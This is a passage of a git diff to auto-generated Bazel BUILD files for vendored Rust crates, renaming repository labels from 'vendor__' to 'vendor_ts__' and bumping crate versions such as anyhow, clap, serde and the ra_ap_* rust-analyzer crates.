-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=anyhow",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "1.0.95",
-    deps = [
-        "@vendor__anyhow-1.0.95//:build_script_build",
-    ],
-)
-
-cargo_build_script(
-    name = "_bs",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            "**/*.rs",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "std",
-    ],
-    crate_name = "build_script_build",
-    crate_root = "build.rs",
-    data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    edition = "2018",
-    pkg_name = "anyhow",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=anyhow",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    version = "1.0.95",
-    visibility = ["//visibility:private"],
-)
-
-alias(
-    name = "build_script_build",
-    actual = ":_bs",
-    tags = ["manual"],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.97.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.97.bazel
new file mode 100644
index 000000000000..ae13110a5eae
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.anyhow-1.0.97.bazel
@@ -0,0 +1,150 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//cargo:defs.bzl", "cargo_build_script")
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "anyhow",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2018",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=anyhow",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "1.0.97",
+    deps = [
+        "@vendor_ts__anyhow-1.0.97//:build_script_build",
+    ],
+)
+
+cargo_build_script(
+    name = "_bs",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            "**/*.rs",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "default",
+        "std",
+    ],
+    crate_name = "build_script_build",
+    crate_root = "build.rs",
+    data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    edition = "2018",
+    pkg_name = "anyhow",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=anyhow",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    version = "1.0.97",
+    visibility = ["//visibility:private"],
+)
+
+alias(
+    name = "build_script_build",
+    actual = ":_bs",
+    tags = ["manual"],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.argfile-0.2.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.argfile-0.2.1.bazel
index a7f09f81f519..b2fff86bc5d9 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.argfile-0.2.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.argfile-0.2.1.bazel
@@ -84,7 +84,7 @@ rust_library(
     }),
     version = "0.2.1",
     deps = [
-        "@vendor__fs-err-2.11.0//:fs_err",
-        "@vendor__os_str_bytes-7.0.0//:os_str_bytes",
+        "@vendor_ts__fs-err-2.11.0//:fs_err",
+        "@vendor_ts__os_str_bytes-7.0.0//:os_str_bytes",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.atomic-0.6.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.atomic-0.6.0.bazel
index ccbde7b37ad2..fb24bd230eef 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.atomic-0.6.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.atomic-0.6.0.bazel
@@ -85,6 +85,6 @@ rust_library(
     }),
     version = "0.6.0",
     deps = [
-        "@vendor__bytemuck-1.21.0//:bytemuck",
+        "@vendor_ts__bytemuck-1.21.0//:bytemuck",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel
index 952ad2432905..31e9ae6079ae 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.bazel
@@ -32,619 +32,643 @@ filegroup(
 
 # Workspace Member Dependencies
 alias(
-    name = "anyhow-1.0.95",
-    actual = "@vendor__anyhow-1.0.95//:anyhow",
+    name = "anyhow-1.0.97",
+    actual = "@vendor_ts__anyhow-1.0.97//:anyhow",
     tags = ["manual"],
 )
 
 alias(
     name = "anyhow",
-    actual = "@vendor__anyhow-1.0.95//:anyhow",
+    actual = "@vendor_ts__anyhow-1.0.97//:anyhow",
     tags = ["manual"],
 )
 
 alias(
     name = "argfile-0.2.1",
-    actual = "@vendor__argfile-0.2.1//:argfile",
+    actual = "@vendor_ts__argfile-0.2.1//:argfile",
     tags = ["manual"],
 )
 
 alias(
     name = "argfile",
-    actual = "@vendor__argfile-0.2.1//:argfile",
+    actual = "@vendor_ts__argfile-0.2.1//:argfile",
     tags = ["manual"],
 )
 
 alias(
-    name = "chrono-0.4.39",
-    actual = "@vendor__chrono-0.4.39//:chrono",
+    name = "chalk-ir-0.100.0",
+    actual = "@vendor_ts__chalk-ir-0.100.0//:chalk_ir",
+    tags = ["manual"],
+)
+
+alias(
+    name = "chalk-ir",
+    actual = "@vendor_ts__chalk-ir-0.100.0//:chalk_ir",
+    tags = ["manual"],
+)
+
+alias(
+    name = "chrono-0.4.40",
+    actual = "@vendor_ts__chrono-0.4.40//:chrono",
     tags = ["manual"],
 )
 
 alias(
     name = "chrono",
-    actual = "@vendor__chrono-0.4.39//:chrono",
+    actual = "@vendor_ts__chrono-0.4.40//:chrono",
     tags = ["manual"],
 )
 
 alias(
-    name = "clap-4.5.26",
-    actual = "@vendor__clap-4.5.26//:clap",
+    name = "clap-4.5.32",
+    actual = "@vendor_ts__clap-4.5.32//:clap",
     tags = ["manual"],
 )
 
 alias(
     name = "clap",
-    actual = "@vendor__clap-4.5.26//:clap",
+    actual = "@vendor_ts__clap-4.5.32//:clap",
     tags = ["manual"],
 )
 
 alias(
     name = "dunce-1.0.5",
-    actual = "@vendor__dunce-1.0.5//:dunce",
+    actual = "@vendor_ts__dunce-1.0.5//:dunce",
     tags = ["manual"],
 )
 
 alias(
     name = "dunce",
-    actual = "@vendor__dunce-1.0.5//:dunce",
+    actual = "@vendor_ts__dunce-1.0.5//:dunce",
     tags = ["manual"],
 )
 
 alias(
-    name = "either-1.13.0",
-    actual = "@vendor__either-1.13.0//:either",
+    name = "either-1.15.0",
+    actual = "@vendor_ts__either-1.15.0//:either",
     tags = ["manual"],
 )
 
 alias(
     name = "either",
-    actual = "@vendor__either-1.13.0//:either",
+    actual = "@vendor_ts__either-1.15.0//:either",
     tags = ["manual"],
 )
 
 alias(
     name = "encoding-0.2.33",
-    actual = "@vendor__encoding-0.2.33//:encoding",
+    actual = "@vendor_ts__encoding-0.2.33//:encoding",
     tags = ["manual"],
 )
 
 alias(
     name = "encoding",
-    actual = "@vendor__encoding-0.2.33//:encoding",
+    actual = "@vendor_ts__encoding-0.2.33//:encoding",
     tags = ["manual"],
 )
 
 alias(
     name = "figment-0.10.19",
-    actual = "@vendor__figment-0.10.19//:figment",
+    actual = "@vendor_ts__figment-0.10.19//:figment",
     tags = ["manual"],
 )
 
 alias(
     name = "figment",
-    actual = "@vendor__figment-0.10.19//:figment",
+    actual = "@vendor_ts__figment-0.10.19//:figment",
     tags = ["manual"],
 )
 
 alias(
-    name = "flate2-1.0.35",
-    actual = "@vendor__flate2-1.0.35//:flate2",
+    name = "flate2-1.1.0",
+    actual = "@vendor_ts__flate2-1.1.0//:flate2",
     tags = ["manual"],
 )
 
 alias(
     name = "flate2",
-    actual = "@vendor__flate2-1.0.35//:flate2",
+    actual = "@vendor_ts__flate2-1.1.0//:flate2",
     tags = ["manual"],
 )
 
 alias(
     name = "glob-0.3.2",
-    actual = "@vendor__glob-0.3.2//:glob",
+    actual = "@vendor_ts__glob-0.3.2//:glob",
     tags = ["manual"],
 )
 
 alias(
     name = "glob",
-    actual = "@vendor__glob-0.3.2//:glob",
+    actual = "@vendor_ts__glob-0.3.2//:glob",
     tags = ["manual"],
 )
 
 alias(
     name = "globset-0.4.15",
-    actual = "@vendor__globset-0.4.15//:globset",
+    actual = "@vendor_ts__globset-0.4.15//:globset",
     tags = ["manual"],
 )
 
 alias(
     name = "globset",
-    actual = "@vendor__globset-0.4.15//:globset",
+    actual = "@vendor_ts__globset-0.4.15//:globset",
     tags = ["manual"],
 )
 
 alias(
     name = "itertools-0.14.0",
-    actual = "@vendor__itertools-0.14.0//:itertools",
+    actual = "@vendor_ts__itertools-0.14.0//:itertools",
     tags = ["manual"],
 )
 
 alias(
     name = "itertools",
-    actual = "@vendor__itertools-0.14.0//:itertools",
+    actual = "@vendor_ts__itertools-0.14.0//:itertools",
     tags = ["manual"],
 )
 
 alias(
     name = "lazy_static-1.5.0",
-    actual = "@vendor__lazy_static-1.5.0//:lazy_static",
+    actual = "@vendor_ts__lazy_static-1.5.0//:lazy_static",
     tags = ["manual"],
 )
 
 alias(
     name = "lazy_static",
-    actual = "@vendor__lazy_static-1.5.0//:lazy_static",
+    actual = "@vendor_ts__lazy_static-1.5.0//:lazy_static",
     tags = ["manual"],
 )
 
 alias(
     name = "mustache-0.9.0",
-    actual = "@vendor__mustache-0.9.0//:mustache",
+    actual = "@vendor_ts__mustache-0.9.0//:mustache",
     tags = ["manual"],
 )
 
 alias(
     name = "mustache",
-    actual = "@vendor__mustache-0.9.0//:mustache",
+    actual = "@vendor_ts__mustache-0.9.0//:mustache",
     tags = ["manual"],
 )
 
 alias(
     name = "num-traits-0.2.19",
-    actual = "@vendor__num-traits-0.2.19//:num_traits",
+    actual = "@vendor_ts__num-traits-0.2.19//:num_traits",
     tags = ["manual"],
 )
 
 alias(
     name = "num-traits",
-    actual = "@vendor__num-traits-0.2.19//:num_traits",
+    actual = "@vendor_ts__num-traits-0.2.19//:num_traits",
     tags = ["manual"],
 )
 
 alias(
     name = "num_cpus-1.16.0",
-    actual = "@vendor__num_cpus-1.16.0//:num_cpus",
+    actual = "@vendor_ts__num_cpus-1.16.0//:num_cpus",
     tags = ["manual"],
 )
 
 alias(
     name = "num_cpus",
-    actual = "@vendor__num_cpus-1.16.0//:num_cpus",
+    actual = "@vendor_ts__num_cpus-1.16.0//:num_cpus",
     tags = ["manual"],
 )
 
 alias(
-    name = "proc-macro2-1.0.93",
-    actual = "@vendor__proc-macro2-1.0.93//:proc_macro2",
+    name = "proc-macro2-1.0.94",
+    actual = "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
     tags = ["manual"],
 )
 
 alias(
     name = "proc-macro2",
-    actual = "@vendor__proc-macro2-1.0.93//:proc_macro2",
+    actual = "@vendor_ts__proc-macro2-1.0.94//:proc_macro2",
     tags = ["manual"],
 )
 
 alias(
-    name = "quote-1.0.38",
-    actual = "@vendor__quote-1.0.38//:quote",
+    name = "quote-1.0.40",
+    actual = "@vendor_ts__quote-1.0.40//:quote",
     tags = ["manual"],
 )
 
 alias(
     name = "quote",
-    actual = "@vendor__quote-1.0.38//:quote",
+    actual = "@vendor_ts__quote-1.0.40//:quote",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_base_db-0.0.258",
-    actual = "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db",
+    name = "ra_ap_base_db-0.0.270",
+    actual = "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_base_db",
-    actual = "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db",
+    actual = "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_cfg-0.0.258",
-    actual = "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg",
+    name = "ra_ap_cfg-0.0.270",
+    actual = "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_cfg",
-    actual = "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg",
+    actual = "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_hir-0.0.258",
-    actual = "@vendor__ra_ap_hir-0.0.258//:ra_ap_hir",
+    name = "ra_ap_hir-0.0.270",
+    actual = "@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_hir",
-    actual = "@vendor__ra_ap_hir-0.0.258//:ra_ap_hir",
+    actual = "@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_hir_def-0.0.258",
-    actual = "@vendor__ra_ap_hir_def-0.0.258//:ra_ap_hir_def",
+    name = "ra_ap_hir_def-0.0.270",
+    actual = "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_hir_def",
-    actual = "@vendor__ra_ap_hir_def-0.0.258//:ra_ap_hir_def",
+    actual = "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_hir_expand-0.0.258",
-    actual = "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand",
+    name = "ra_ap_hir_expand-0.0.270",
+    actual = "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_hir_expand",
-    actual = "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand",
+    actual = "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand",
+    tags = ["manual"],
+)
+
+alias(
+    name = "ra_ap_hir_ty-0.0.270",
+    actual = "@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty",
+    tags = ["manual"],
+)
+
+alias(
+    name = "ra_ap_hir_ty",
+    actual = "@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_ide_db-0.0.258",
-    actual = "@vendor__ra_ap_ide_db-0.0.258//:ra_ap_ide_db",
+    name = "ra_ap_ide_db-0.0.270",
+    actual = "@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_ide_db",
-    actual = "@vendor__ra_ap_ide_db-0.0.258//:ra_ap_ide_db",
+    actual = "@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_intern-0.0.258",
-    actual = "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
+    name = "ra_ap_intern-0.0.270",
+    actual = "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_intern",
-    actual = "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
+    actual = "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_load-cargo-0.0.258",
-    actual = "@vendor__ra_ap_load-cargo-0.0.258//:ra_ap_load_cargo",
+    name = "ra_ap_load-cargo-0.0.270",
+    actual = "@vendor_ts__ra_ap_load-cargo-0.0.270//:ra_ap_load_cargo",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_load-cargo",
-    actual = "@vendor__ra_ap_load-cargo-0.0.258//:ra_ap_load_cargo",
+    actual = "@vendor_ts__ra_ap_load-cargo-0.0.270//:ra_ap_load_cargo",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_parser-0.0.258",
-    actual = "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser",
+    name = "ra_ap_parser-0.0.270",
+    actual = "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_parser",
-    actual = "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser",
+    actual = "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_paths-0.0.258",
-    actual = "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths",
+    name = "ra_ap_paths-0.0.270",
+    actual = "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_paths",
-    actual = "@vendor__ra_ap_paths-0.0.258//:ra_ap_paths",
+    actual = "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_project_model-0.0.258",
-    actual = "@vendor__ra_ap_project_model-0.0.258//:ra_ap_project_model",
+    name = "ra_ap_project_model-0.0.270",
+    actual = "@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_project_model",
-    actual = "@vendor__ra_ap_project_model-0.0.258//:ra_ap_project_model",
+    actual = "@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_span-0.0.258",
-    actual = "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
+    name = "ra_ap_span-0.0.270",
+    actual = "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_span",
-    actual = "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
+    actual = "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_stdx-0.0.258",
-    actual = "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
+    name = "ra_ap_stdx-0.0.270",
+    actual = "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
     tags = ["manual"],
 )
 
 alias(
-    name = "stdx-0.0.258",
-    actual = "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
+    name = "stdx-0.0.270",
+    actual = "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
     tags = ["manual"],
 )
 
 alias(
     name = "stdx",
-    actual = "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
+    actual = "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_syntax-0.0.258",
-    actual = "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
+    name = "ra_ap_syntax-0.0.270",
+    actual = "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_syntax",
-    actual = "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
+    actual = "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
     tags = ["manual"],
 )
 
 alias(
-    name = "ra_ap_vfs-0.0.258",
-    actual = "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs",
+    name = "ra_ap_vfs-0.0.270",
+    actual = "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs",
     tags = ["manual"],
 )
 
 alias(
     name = "ra_ap_vfs",
-    actual = "@vendor__ra_ap_vfs-0.0.258//:ra_ap_vfs",
+    actual = "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs",
     tags = ["manual"],
 )
 
 alias(
-    name = "rand-0.8.5",
-    actual = "@vendor__rand-0.8.5//:rand",
+    name = "rand-0.9.0",
+    actual = "@vendor_ts__rand-0.9.0//:rand",
     tags = ["manual"],
 )
 
 alias(
     name = "rand",
-    actual = "@vendor__rand-0.8.5//:rand",
+    actual = "@vendor_ts__rand-0.9.0//:rand",
     tags = ["manual"],
 )
 
 alias(
     name = "rayon-1.10.0",
-    actual = "@vendor__rayon-1.10.0//:rayon",
+    actual = "@vendor_ts__rayon-1.10.0//:rayon",
     tags = ["manual"],
 )
 
 alias(
     name = "rayon",
-    actual = "@vendor__rayon-1.10.0//:rayon",
+    actual = "@vendor_ts__rayon-1.10.0//:rayon",
     tags = ["manual"],
 )
 
 alias(
     name = "regex-1.11.1",
-    actual = "@vendor__regex-1.11.1//:regex",
+    actual = "@vendor_ts__regex-1.11.1//:regex",
     tags = ["manual"],
 )
 
 alias(
     name = "regex",
-    actual = "@vendor__regex-1.11.1//:regex",
+    actual = "@vendor_ts__regex-1.11.1//:regex",
     tags = ["manual"],
 )
 
 alias(
-    name = "serde-1.0.217",
-    actual = "@vendor__serde-1.0.217//:serde",
+    name = "serde-1.0.219",
+    actual = "@vendor_ts__serde-1.0.219//:serde",
     tags = ["manual"],
 )
 
 alias(
     name = "serde",
-    actual = "@vendor__serde-1.0.217//:serde",
+    actual = "@vendor_ts__serde-1.0.219//:serde",
     tags = ["manual"],
 )
 
 alias(
-    name = "serde_json-1.0.135",
-    actual = "@vendor__serde_json-1.0.135//:serde_json",
+    name = "serde_json-1.0.140",
+    actual = "@vendor_ts__serde_json-1.0.140//:serde_json",
     tags = ["manual"],
 )
 
 alias(
     name = "serde_json",
-    actual = "@vendor__serde_json-1.0.135//:serde_json",
+    actual = "@vendor_ts__serde_json-1.0.140//:serde_json",
     tags = ["manual"],
 )
 
 alias(
     name = "serde_with-3.12.0",
-    actual = "@vendor__serde_with-3.12.0//:serde_with",
+    actual = "@vendor_ts__serde_with-3.12.0//:serde_with",
     tags = ["manual"],
 )
 
 alias(
     name = "serde_with",
-    actual = "@vendor__serde_with-3.12.0//:serde_with",
+    actual = "@vendor_ts__serde_with-3.12.0//:serde_with",
     tags = ["manual"],
 )
 
 alias(
-    name = "syn-2.0.96",
-    actual = "@vendor__syn-2.0.96//:syn",
+    name = "syn-2.0.100",
+    actual = "@vendor_ts__syn-2.0.100//:syn",
     tags = ["manual"],
 )
 
 alias(
     name = "syn",
-    actual = "@vendor__syn-2.0.96//:syn",
+    actual = "@vendor_ts__syn-2.0.100//:syn",
     tags = ["manual"],
 )
 
 alias(
-    name = "toml-0.8.19",
-    actual = "@vendor__toml-0.8.19//:toml",
+    name = "toml-0.8.20",
+    actual = "@vendor_ts__toml-0.8.20//:toml",
     tags = ["manual"],
 )
 
 alias(
     name = "toml",
-    actual = "@vendor__toml-0.8.19//:toml",
+    actual = "@vendor_ts__toml-0.8.20//:toml",
     tags = ["manual"],
 )
 
 alias(
     name = "tracing-0.1.41",
-    actual = "@vendor__tracing-0.1.41//:tracing",
+    actual = "@vendor_ts__tracing-0.1.41//:tracing",
     tags = ["manual"],
 )
 
 alias(
     name = "tracing",
-    actual = "@vendor__tracing-0.1.41//:tracing",
+    actual = "@vendor_ts__tracing-0.1.41//:tracing",
     tags = ["manual"],
 )
 
 alias(
